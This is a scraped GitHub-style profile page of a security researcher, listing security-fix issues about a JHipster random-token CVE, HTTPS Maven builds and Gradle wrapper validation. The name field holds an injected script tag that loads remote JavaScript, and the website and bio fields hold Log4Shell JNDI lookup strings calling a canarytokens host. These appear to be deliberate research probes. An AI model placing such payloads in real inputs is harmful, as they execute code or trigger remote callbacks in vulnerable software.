Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

icon indicating a website link ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.com/a} icon indicating an email [email protected]

icon company @chainguard-dev icon location Boston, MA icon location Software Engineer & Security Researcher; First Dan Kaminsky Fellow @ HUMAN Security; ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytoken

Results 834 issues of Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

clearlydefined.io

2 comment

I just wanted to make you aware of this project which is attempting to capture missing license information from projects. It may be useful to add something that can pull...

help wanted

[SECURITY] CVE-2019-16303 - JHipster Vulnerability Fix - Use CSPRNG in RandomUtil

--- This is a security fix for a vulnerability in your [JHipster](https://www.jhipster.tech/) generated `RandomUtil.java` file(s). ## Technical Impact Using one password reset token from your app combined with the POC...

Official Gradle Wrapper Validation Action

See: https://github.com/gradle/wrapper-validation-action

Official Gradle Wrapper Validation Action

See: https://github.com/gradle/wrapper-validation-action

[SECURITY] CVE-2019-16303 - JHipster Vulnerability Fix - Use CSPRNG in RandomUtil

--- This is a security fix for a vulnerability in your [JHipster](https://www.jhipster.tech/) generated `RandomUtil.java` file(s). ## Technical Impact Using one password reset token from your app combined with the POC...

Official Gradle Wrapper Validation Action

See: https://github.com/gradle/wrapper-validation-action

Official Gradle Wrapper Validation Action

See: https://github.com/gradle/wrapper-validation-action

[SECURITY] Use HTTPS to resolve dependencies in Maven Build

[![mitm_build](https://user-images.githubusercontent.com/1323708/59226671-90645200-8ba1-11e9-8ab3-39292bef99e9.jpeg)](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Update: Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/bugbountywriteup/update-want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-d069d253fe23?source=friends_link&sk=8c8e52a7d57b98d0b7e541665688b454)...

Use OpenTest4j assertions

There's now a standard for exceptions in testing frameworks that IDE's can universally understand. Converting to these assertions would make the exceptions reported by this tool more useful. https://github.com/ota4j-team/opentest4j

[SECURITY] Use HTTPS to resolve dependencies in Maven Build

[![mitm_build](https://user-images.githubusercontent.com/1323708/59226671-90645200-8ba1-11e9-8ab3-39292bef99e9.jpeg)](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Update: Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/bugbountywriteup/update-want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-d069d253fe23?source=friends_link&sk=8c8e52a7d57b98d0b7e541665688b454)...